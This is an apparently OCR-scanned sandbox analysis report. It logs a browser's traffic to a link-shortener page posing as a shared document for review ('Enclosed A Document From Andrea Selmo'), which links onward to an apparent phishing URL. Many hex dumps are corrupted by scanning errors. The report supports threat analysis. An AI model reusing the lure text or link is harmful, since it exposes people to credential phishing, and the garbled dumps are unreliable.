Data Ascii: font is named after the Greek mathematician Eudoxus of Cnidus. It is based on +Jakarta Sans by tokotype.http
s://stijndv.comThis

Data Raw: 87 2c b1 00 3f 2b b0 42 2b 2d b0 88 2c b1 01 3f 2b b0 40 2b 2d b0 89 2c b1 01 3f 2b b0 41 2b 2d b0 8a 2c bl
01 3f 2b b0 42 2b 2d b0 8b 2c b2 Ob 00 03 45 50 58 b0 06 1b b2 04 02 03 45 58 23 21 1b 21 59 59 42 2b b0 08 65 b0 03
24 50 78 b1 05 01 15 45 58 30 59 2d 00 00 00 00 4b b8 00 c8 52 58 b1 01 01 8e 59 b0 01 b9 08 00 08 00 63 70 b1 00 07
42 b5 00 00 2c 1d 04 00 2a b1 00 07 42 40 Oa 39 04 31 04 21 08 15 06 04 Oa 2a b1 00 07 42 40 Oa 3d 02 35 02 29 06 1b
04 04 0a 2a b1 00 Ob 42 bd 0e 80 Oc 80 08 80 05 80 00 04 00 Ob 2a b1 00 0f 42 bd 00 40 00 40 00 40 00 40 00 04 00 Ob
2a b9 00 03 00 00 44 b1l 24 01 88 51 58 b0 40 88 58 b9 00 03 00 64 44 b1 28 01 88 51 58 b8 08 00 88 58 b9 00 03 00 00
4459 1b b1 27 01 88 51 58 ba 08 80 00 01 04 40 88 63 54 58 b9 00 03 00

Data Ascii: ,?+B+-,2+@+-,?+A+-,2+B+- EPXEX#!!YYB+e$PXEX0Y-KRXYcpB,*B@91!*B@=5)*B*B@ @@ @*D$Q
X@XdD(QXXDY'QX@cTX

Destination IP EULCRI Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /themes/altum/assets/js/functions.js?v=2 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 16 Oct 2021 15:40:57 GMT
ETag: "d8b-5ce7a234c498c"
Accept-Ranges: bytes

Content-Length: 3467

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript

Data Raw: 63 6f 6e 73 74 20 64 69 73 70 6¢ 61 79 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 20 3d 20 28 6d 65 73 73 61
67 65 73 2c 20 74 79 70 65 2c 20 73 65 6¢ 65 63 74 6f 72 29 20 3d 3e 20 7b 0a 20 20 6¢ 65 74 20 68 74 6d 6¢ 20 3d 20
22 22 3b 0a 20 20 74 79 70 65 20 3d 20 74 79 70 65 20 3d 3d 20 22 65 72 72 6f 72 22 20 3f 20 22 64 61 6e 67 65 72 22
20 3a 20 74 79 70 65 3b 0a Oa 20 20 66 6f 72 20 28 6¢ 65 74 20 6d 65 73 73 61 67 65 20 6f 66 20 6d 65 73 73 61 67 65 7
32920 7b 0a 20 20 20 20 68 74 6d 6¢ 20 2b 3d 20 60 0a 20 20 20 20 20 20 20 20 20 20 3¢ 73 63 72 69 70 74 3e Oa Oa
20 20 20 20 20 20 20 20 20 20 20 20 20 20 47 72 6f 77 6¢ 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 6e 6f 74 69 66 79 28 7b
0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 65 73 63

Data Ascii: const display_notifications = (messages, type, selector) =>{ let html =""; type = type == "error" ? "danger" :
type; for (let message of messages) { html +=" <script> GrowlNotification.notify({ desc
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Session ID Source IP
2 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:11 UTC 1

2022-05-13 12:56:11 UTC 5

2022-05-13 12:56:11 UTC 5

2022-05-13 12:56:11 UTC 5

2022-05-13 12:56:11 UTC 21

2022-05-13 12:56:11 UTC 35

2022-05-13 12:56:11 UTC 35

Session ID Source IP

20 192.168.2.5
. kBytes

Timestamp transferred

2022-05-13 12:56:12 UTC 595

Copyright Joe Security LLC 2022

Source Port

49775

Direction

ouT

Source Port

49797

Direction

ouT

Destination

Destination IP Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.com HTTP/1.1
Host: znap.link

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT

Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: https://znap.link
Set-Cookie: PHPSESSID=Iv4j1e7inje24v8r8s3igjlg5b; path=/; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 37 35 35 35 0d Oa
Data Ascii: 7555

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 20 63 6¢ 61 73
73 3d 22 6¢ 69 6e 6b 2d 68 74 6d 6¢ 22 3e Oa 20 20 20 20 3c 68 65 61 64 3e Oa 20 20 20 20 20 20 20 20 3c 74 69 74 6¢
65 3e 45 6e 63 6¢ 6f 73 65 64 20 41 20 44 6f 63 75 6d 65 6e 74 20 46 72 6f 6d 20 41 6e 64 72 65 61 20 53 65 6¢ 6d 6f 20
46 6f 72 20 59 6f 75 72 20 52 65 76 69 65 77 3c 2f 74 69 74 6¢ 65 3e Oa 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72
65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 70 70 2e 7a 6e 61 70 6¢ 69 6e 6b 2e 63 6f 6d 2f 22 3e Oa 20 20 20 20 20 20 20 20
3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74
3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d

Data Ascii: <IDOCTYPE html><html lang="en" class="link-html"> <head> <title>Enclosed A Document From

Andrea Selmo For Your Review</title> <base href="https://app.znaplink.com/"> <meta http-equiv="content-type"
content="text/html; charset=

Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Oa Oa Oa 20 20 20 20 3c 64
69 76 20 63 6¢ 61 73 73 3d 22 73 69 6e 67 6¢ 65 2d 6¢ 69 6e 6b 2d 62 6¢ 6f 63 6b 20 64 2d 73 6d 2d 6e 6f 6e 65 20 64 2
d 6e 6f 6e 65 20 64 2d 78 6¢ 2d 62 6¢ 6f 63 6b 20 64 2d 6¢ 67 2d 62 6C 6f 63 6b 20 64 2d 6d 64 2d 62 6C 6f 63 6b 20 6d 7
4 2d 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 3¢ 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 62 69 74 63 6f 6e 73 75 6¢ 74 69 6e 67 2e
75 73 2f 6a 6b 61 64 6e 6d 61 64 69 75 79 61 2f 71 75 61 64 2f 22 3e

Data Ascii: <div class="single-link-block d-sm-none d-none d-xI-block d-Ig-
block d-md-block mt-0"> <a href="https://ambitconsulting.us/jkadnmadiuya/quad/">

Data Raw: Od Oa
Data Ascii:

Data Raw: 30 0d Oa Od Oa

Data Ascii: 0
Destinati
Destination IP Estnaton Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /themes/altum/assets/js/libraries/fontawesome.min.js?v=2 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9
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kBytes

Timestamp transferred Direction
2022-05-13 12:56:12 UTC 803 IN
2022-05-13 12:56:12 UTC 808 IN
2022-05-13 12:56:12 UTC 824 IN
2022-05-13 12:56:12 UTC 914 IN
2022-05-13 12:56:12 UTC 930 IN
2022-05-13 12:56:12 UTC 946 IN
2022-05-13 12:56:12 UTC 962 IN
2022-05-13 12:56:13 UTC 987 IN

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 16 Oct 2021 15:41:07 GMT
ETag: "120b5a-5ce7a23f231dc"
Accept-Ranges: bytes

Content-Length: 1182554

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript

Data Raw: 2f 2a 21 Oa 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 33 2e 31 20 62 79 20 40
66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a
20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6¢ 69 63 65 6e
73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46
4c 20 31 2e 31 2c¢ 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e
2829 7b 22 75 73 6520 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 7b 7d 2c 6¢ 3d 7b 7d 3b 74 72 79 7b 22 75 6e 64 65
66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77

Data Ascii: /*! * Font Awesome Free 5.13.1 by @fontawesome - https://fontawesome.com * License - https://fonta
wesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */!/function(){"use strict";var c={},I=
{};try{"undefined"!=typeof window

Data Raw: 32 20 31 33 2e 36 20 37 39 2e 34 20 33 31 2e 37 2d 38 32 2e 34 20 39 33 2e 31 2d 36 2e 32 7a 4d 34 32 36
2e 3820 33 37 31 2e 35 6¢ 32 38 2e 33 2d 31 2e 38 4c 34 36 38 20 32 34 39 2e 36 6¢ 2d 32 38 2e 34 20 31 2e 39 2d 31
32 2e 38 20 31 32 30 7a 4d 31 36 32 20 33 38 38 2e 31 6¢ 2d 31 39 2e 34 2d 33 36 2d 33 2e 35 20 33 37 2e 34 2d 32 38
2e 32 20 31 2e 37 20 32 2e 37 2d 32 39 2e 31 63 2d 31 31 20 31 38 2d 33 32 20 33 34 2e 33 2d 35 36 2e 39 20 33 35 2e
38 43 32 33 2e 39 20 33 39 39 2e 39 2d 33 20 33 37 37 20 2e 33 20 33 33 39 2e 37 63 32 2e 36 2d 32 39 2e 33 20 32 36
2e 37 2d 36 32 2e 38 20 36 37 2e 35 2d 36 35 2e 34 20 33 37 2e 37 2d 32 2e 34 20 34 37 2e 36 20 32 33 2e 32 20 35 31
2e 33 20 32 38 2e 38 6¢ 32 2e 38 2d 33 30 2e 38 20 33 38 2e 39 2d 32 2e 35

Data Ascii: 2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5128.3-1.8L.468 249.61-28.4 1.9-12.8 120zM162 388.1|-19.4-36-3.5
37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7¢2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6
23.251.3 28.812.8-30.8 38.9-2.5

Data Raw: 2e 33 2d 38 37 2e 38 48 30 76 33 35 34 2e 34 68 31 37 31 2e 38 63 36 34 2e 34 20 30 20 31 32 34 2e 39 2d
3330 2e 39 20 31 32 34 2e 39 2d 31 30 32 2e 39 20 30 2d 34 34 2e 35 2d 32 31 2e 31 2d 37 37 2e 34 2d 36 34 2e 37 2d
38 39 2e 37 7a 4d 37 37 2e 39 20 31 33 35 2e 39 48 31 35 31 63 32 38 2e 31 20 30 20 35 33 2e 34 20 37 2e 39 20 35 33
2e 34 20 34 30 2e 35 20 30 20 33 30 2e 31 2d 31 39 2e 37 20 34 32 2e 32 2d 34 37 2e 35 20 34 32 2e 32 68 2d 37 39 76
2d 38 32 2e 37 7a 6d 38 33 2e 33 20 32 33 33 2e 37 48 37 37 2e 39 56 32 37 32 68 38 34 2e 39 63 33 34 2e 33 20 30 20
35 36 20 31 34 2e 33 20 35 36 20 35 30 2e 36 20 30 20 33 35 2e 38 2d 32 35 2e 39 20 34 37 2d 35 37 2e 36 20 34 37 7a
6d 33 35 38 2e 35 2d 32 34 30 2e 37 48 33 37 36 56 39 34 68 31 34 33 2e 37

Data Ascii: .3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151¢28.1 0
53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c¢34.3 0 56 14.3 56 50.6 0 35.8-
25.9 47-57.6 47zm358.5-240.7H376V94h143.7

Data Raw: 36 2e 35 20 30 2d 34 38 20 32 31 2e 35 2d 34 38 20 34 38 76 31 30 39 2e 38 63 39 2e 34 2d 32 31 2e 39 20
31 39 2e 37 2d 34 36 20 32 33 2e 31 2d 35 33 2e 39 68 33 39 2e 37 63 34 2e 33 20 31 30 2e 31 20 31 2e 36 20 33 2e 37
2039 20 32 31 2e 31 76 2d 32 31 2e 31 68 34 36 63 32 2e 39 20 36 2e 32 20 31 31 2e 31 20 32 34 20 31 33 2e 39 20 33
30 20 35 2e 38 2d 31 33 2e 36 20 31 30 2e 31 2d 32 33 2e 39 20 31 32 2e 36 2d 33 30 68 31 30 33 63 30 2d 2e 31 20 31
31 2e 3520 30 20 31 31 2e 36 20 30 20 34 33 2e 37 2e 32 20 35 33 2e 36 2d 2e 38 20 36 34 2e 34 20 35 2e 33 76 2d 35
2e 33 48 33 36 33 76 39 2e 33 63 37 2e 36 2d 36 2e 31 20 31 37 2e 39 2d 39 2e 33 20 33 30 2e 37 2d 39 2e 33 68 32 37
2e 36 63 30 20 2e 35 20 31 2e 39 2e 33 20 32 2e 33 2e 33 48 34 35 36 63 34

Data Ascii: 6.5 0-48 21.5-48 48v109.8¢9.4-21.9 19.7-46 23.1-53.9h39.7¢4.3 10.1 1.6 3.7 9 21.1v-21.1h46¢2.9 6.2 11.1 24
13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-
9.3h27.6c0 .5 1.9.3 2.3.3H456¢4

Data Raw: 63 30 20 35 2e 31 2d 34 2e 32 20 39 2e 33 2d 39 2e 33 20 39 2e 33 68 2d 32 31 2e 34 63 2d 35 2e 31 20 30
2d 39 2e 33 2d 34 2e 32 2d 39 2e 33 2d 39 2e 33 7a 4d 35 36 20 32 33 35 2e 35 76 32 35 63 30 20 36 2e 33 2d 35 2e 31
20 31 31 2e 35 2d 31 31 2e 34 20 31 31 2e 35 48 31 39 2e 34 43 31 33 2e 31 20 32 37 32 20 38 20 32 36 36 2e 38 20 38
20 32 36 30 2e 35 76 2d 32 35 63 30 2d 36 2e 33 20 35 2e 31 2d 31 31 2e 35 20 31 31 2e 34 2d 31 31 2e 35 68 32 35 2e
31 63 36 2e 34 20 30 20 31 31 2e 35 20 35 2e 32 20 31 31 2e 35 20 31 31 2e 35 7a 22 5d 2c 63 6f 64 65 70 65 6e 3a 5b
3531 32 2¢ 3531 32 2¢ 5b 5d 2¢ 22 66 31 63 62 22 2¢ 22 4d 35 30 32 2e 32 38 35 20 31 35 39 2e 37 30 34 6¢ 2d 32 33
34 2d 31 35 36 63 2d 37 2e 39 38 37 2d 34 2e 39 31 35 2d 31 36 2e 35 31 31

Data Ascii: 0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8
266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1¢6.4 0 11.5 5.2 11.5 11.52"],codepen:[512,512,[],"f1cb","M502.285
159.7041-234-156¢-7.987-4.915-16.511

Data Raw: 6¢ 34 2e 36 2d 35 38 2e 36 20 34 2e 39 20 36 34 2e 34 63 31 2e 31 20 31 34 2e 33 20 32 32 20 31 34 2e 32
20 32 33 2e 31 2e 31 6¢ 36 2e 38 2d 38 33 20 32 2e 37 20 32 32 2e 33 63 31 2e 34 20 31 31 2e 38 20 31 37 2e 37 20 31
34 2e 31 20 32 32 2e 33 20 33 2e 31 6¢ 31 38 2d 34 33 2e 34 68 35 30 2e 35 56 32 35 38 6¢ 2d 35 38 2e 34 2e 33 7a 6d
2d 37 38 20 35 2e 32 68 2d 32 31 2e 39 76 32 31 2e 39 63 30 20 34 2e 31 2d 33 2e 33 20 37 2e 35 2d 37 2e 35 20 37 2e
35 2d 34 2e 31 20 30 2d 37 2e 35 2d 33 2e 33 2d 37 2e 35 2d 37 2e 35 76 2d 32 31 2e 39 68 2d 32 31 2e 39 63 2d 34 2e
31 20 30 2d 37 2e 35 2d 33 2e 33 2d 37 2e 35 2d 37 2e 35 20 30 2d 34 2e 31 20 33 2e 34 2d 37 2e 35 20 37 2e 35 2d 37
2e 3568 32 31 2e 39 76 2d 32 31 2e 39 63 30 2d 34 2e 31 20 33 2e 34 2d 37

Data Ascii: 14.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.116.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1118-43.4h50.5V258I-58.
4.3zm-78 5.2h-21.9v21.9¢0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9¢-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-
7.5h21.9v-21.9¢0-4.1 3.4-7

Data Raw: 35 2d 33 37 2d 32 35 48 33 6¢ 38 2e 33 20 38 2e 36 76 32 39 2e 35 48 30 6¢ 31 31 2e 34 20 31 34 2e 36 56
33 34 36 4c 33 20 33 35 34 2e 36 63 36 31 2e 37 20 30 20 37 33 2e 38 20 31 2e 35 20 38 36 2e 34 2d 35 2e 39 20 36 2e
37 2d 34 20 39 2e 39 2d 39 2e 38 20 39 2e 39 2d 31 37 2e 36 20 30 2d 35 2e 31 20 32 2e 36 2d 31 38 2e 38 2d 31 39 2e
34 2d 32 35 2e 32 7a 6d 2d 34 31 2e 33 2d 32 37 2e 35 63 32 30 20 30 20 32 39 2e 36 2d 2e 38 20 32 39 2e 36 20 39 2e
3176 33 63 30 20 31 32 2e 31 2d 31 39 20 38 2e 38 2d 32 39 2e 36 20 38 2e 38 7a 6d 30 20 35 39 2e 32 56 33 31 35 63
31 32 2e 32 20 30 20 33 32 2e 37 2d 32 2e 33 20 33 32 2e 37 20 38 2e 38 76 34 2e 35 68 2e 32 63 30 20 31 31 2e 32 2d
31 32 2e 35 20 39 2e 33 2d 33 32 2e 39 20 39 2e 33 7a 6d 31 30 31 2e 32 2d

Data Ascii: 5-37-25H318.3 8.6v29.5H0I11.4 14.6V346L3 354.6¢61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-
18.8-19.4-25.2zm-41.3-27.5¢20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315¢12.2 0 32.7-2.3 32.7 8.8v4.
5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-
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kBytes

Timestamp transferred Direction
2022-05-13 12:56:13 UTC 1003 IN
2022-05-13 12:56:13 UTC 1019 IN
2022-05-13 12:56:13 UTC 1035 IN
2022-05-13 12:56:13 UTC 1051 IN
2022-05-13 12:56:13 UTC 1067 IN
2022-05-13 12:56:13 UTC 1083 IN
2022-05-13 12:56:13 UTC 1101 IN
2022-05-13 12:56:13 UTC 1149 IN
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Data

Data Raw: 2e 34 38 43 34 34 30 2e 38 37 2c 35 34 2e 31 38 2c 33 35 32 2e 32 36 2¢ 38 2c 32 35 35 2e 39 31 2¢ 38 2c
31 3337 2e 30 35 2c 38 2¢ 33 37 2e 35 31 2¢ 39 31 2e 36 38 2c 31 33 2e 34 37 2c¢ 32 30 33 2e 36 36 63 32 36 2d 34 36
2e 34 39 2c 38 36 2e 32 32 2d 37 39 2e 31 34 2¢ 31 34 39 2e 34 36 2d 37 39 2e 31 34 2¢ 37 39 2e 32 37 2¢ 30 2¢ 31 32
31 2e 30 39 2c 34 38 2e 39 33 2c 31 32 32 2e 32 35 2¢ 35 30 2e 31 38 2¢ 32 32 2c¢ 32 33 2e 38 2¢ 33 33 2¢ 35 30 2e 33
39 2¢ 33 33 2¢ 38 33 2e 31 2¢ 30 2c¢ 31 30 2e 34 2d 35 2e 33 31 2¢ 32 35 2e 38 32 2d 31 35 2e 31 31 2¢ 33 38 2e 35 37
2d 31 2e 35 37 2¢ 32 2d 36 2e 33 39 2c 34 2e 38 34 2d 36 2e 33 39 2¢ 31 31 2c¢ 30 2c¢ 35 2e 30 36 2¢ 33 2e 32 39 2¢ 39
2e 39 32 2¢ 39 2e 31 34 2¢ 31 34 2¢ 32 37 2e 38 36 2c 31 39 2e 33 37 2¢ 38

Data Ascii: .48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-7
9.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-
6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,8

Data Raw: 38 34 2c 31 34 37 2e 35 39 2d 33 34 2e 34 34 2¢ 35 33 2d 31 31 31 2e 33 35 2¢ 37 31 2e 32 37 2d 31 35 39
2c 32 34 2e 38 34 61 38 34 2e 31 39 2c 38 34 2e 31 39 2¢ 30 2¢ 30 2c¢ 31 2d 32 35 2e 35 36 2d 35 39 2¢ 37 34 2e 30 35
2c 37 34 2e 30 35 2¢ 30 2¢ 30 2¢ 31 2c 36 2e 32 34 2d 33 31 63 31 2e 36 38 2d 33 2e 38 34 2¢ 31 33 2e 30 38 2d 32 35
2e 36 37 2c 31 38 2e 32 34 2d 32 34 2e 35 39 2d 31 33 2e 30 38 2d 32 2e 37 36 2d 33 37 2e 35 35 2¢ 32 2e 36 34 2d 35
34 2e 37 31 2c 32 38 2e 31 39 2d 31 35 2e 33 36 2c 32 32 2e 39 32 2d 31 34 2e 35 32 2¢ 35 38 2e 32 2d 35 2c¢ 38 33 2e
3238 61 31 33 32 2e 38 35 2¢ 31 33 32 2e 38 35 2¢ 30 2¢ 30 2c¢ 31 2d 31 32 2e 31 32 2d 33 39 2e 32 34 63 2d 31 32 2e
32 34 2d 38 32 2e 35 35 2¢ 34 33 2e 33 31 2d 31 3533 2¢ 39 34 2e 33 31 2d

Data Ascii: 84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-
3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-
12.12-39.24¢-12.24-82.55,43.31-153,94.31-

Data Raw: 37 31 2e 33 63 30 2d 32 2e 31 20 31 2e 36 2d 33 2e 37 20 33 2e 37 2d 33 2e 37 68 32 32 2e 31 63 32 2e 31
20 30 20 33 2e 37 20 31 2e 36 20 33 2e 37 20 33 2e 37 56 33 32 36 68 32 39 2e 36 56 31 38 32 63 30 2d 32 2e 31 20 31
2e 36 2d 33 2e 37 20 33 2e 37 2d 33 2e 37 68 32 32 2e 31 63 32 2e 31 20 30 20 33 2e 37 20 31 2e 36 20 33 2e 37 20 33
2e 37 76 32 35 2e 39 68 32 39 2e 35 56 31 38 32 63 30 2d 32 2e 31 20 31 2e 36 2d 33 2e 37 20 33 2e 37 2d 33 2e 37 48
32 30 38 63 32 2e 31 20 30 20 33 2e 37 20 31 2e 36 20 33 2e 37 20 33 2e 37 76 32 35 2e 39 68 32 39 2e 3556 31 38 32
63 30 2d 34 2e 38 20 36 2e 35 2d 33 2e 37 20 39 2e 35 2d 33 2e 37 56 38 38 2e 31 63 2d 34 2e 34 2d 32 2d 37 2e 34 2d
36 2e 37 2d 37 2e 34 2d 31 31 2e 35 20 30 2d 31 36 2e 38 20 32 35 2e 34 2d

Data Ascii: 71.3¢0-2.1 1.6-3.7 3.7-3.7h22.1¢2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1¢2.1 0 3.7 1.6
3.7 3.7v25.9h29.5V182¢0-2.1 1.6-3.7 3.7-3.7H208¢2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182¢c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-
2-7.4-6.7-7.4-11.5 0-16.8 25.4-

Data Raw: 38 20 31 38 33 2e 38 20 38 20 32 31 39 2e 35 63 30 20 31 35 35 2e 31 20 31 32 32 2e 36 20 32 38 31 2e 36
20 32 37 36 2e 33 20 32 38 37 2e 38 56 33 36 31 2e 34 63 36 2e 38 2e 34 20 31 35 20 2e 35 20 32 33 2e 34 20 30 76 31
34 35 2e 38 43 34 36 31 2e 34 20 35 30 31 2e 31 20 35 38 34 20 33 37 34 2e 36 20 35 38 34 20 32 31 39 2e 35 63 30 2d
33 35 2e 37 2d 36 2e 35 2d 36 39 2e 38 2d 31 38 2e 33 2d 31 30 31 2e 34 7a 4d 33 36 35 2e 39 20 32 37 35 2e 35 63 31
3320 30 20 32 33 2e 37 20 31 30 2e 35 20 32 33 2e 37 20 32 33 2e 37 20 30 20 31 33 2e 31 2d 31 30 2e 36 20 32 33 2e
37 2d 32 33 2e 37 20 32 33 2e 37 2d 31 33 20 30 2d 32 33 2e 37 2d 31 30 2e 35 2d 32 33 2e 37 2d 32 33 2e 37 20 30 2d
31 33 2e 31 20 31 30 2e 36 2d 32 33 2e 37 20 32 33 2e 37 2d 32 33 2e 37 7a

Data Ascii: 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584
219.5¢0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5¢13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-
23.7-23.7 0-13.1 10.6-23.7 23.7-23.7z

Data Raw: 36 20 31 36 2e 37 20 31 36 35 2e 36 20 30 7a 6d 2d 31 39 36 2d 32 35 33 2e 33 6¢ 31 33 2e 36 20 31 32 35
2e 3563 35 2e 39 2d 32 30 20 32 30 2e 38 2d 34 37 20 34 30 2d 35 35 2e 32 20 36 2e 33 2d 32 2e 37 20 31 32 2e 37 2d
32 2e 37 20 31 38 2e 37 2e 39 20 35 2e 32 20 33 20 39 2e 36 20 39 2e 33 20 31 30 2e 31 20 31 31 2e 38 20 31 2e 32 20
36 2e 35 2d 32 20 39 2e 31 2d 34 2e 35 20 39 2e 31 2d 33 20 30 2d 35 2e 33 2d 34 2e 36 2d 36 2e 38 2d 37 2e 33 2d 34
2e 31 2d 37 2e 33 2d 31 30 2e 33 2d 37 2e 36 2d 31 36 2e 39 2d 32 2e 38 2d 36 2e 39 20 35 2d 31 32 2e 39 20 31 33 2e
34 2d 31 37 2e 31 20 32 30 2e 37 2d 35 2e 31 20 38 2e 38 2d 39 2e 34 20 31 38 2e 35 2d 31 32 20 32 38 2e 32 2d 31 2e
35 20 35 2e 36 2d 32 2e 39 20 31 34 2e 36 2d 2e 36 20 31 39 2e 39 20 31 20

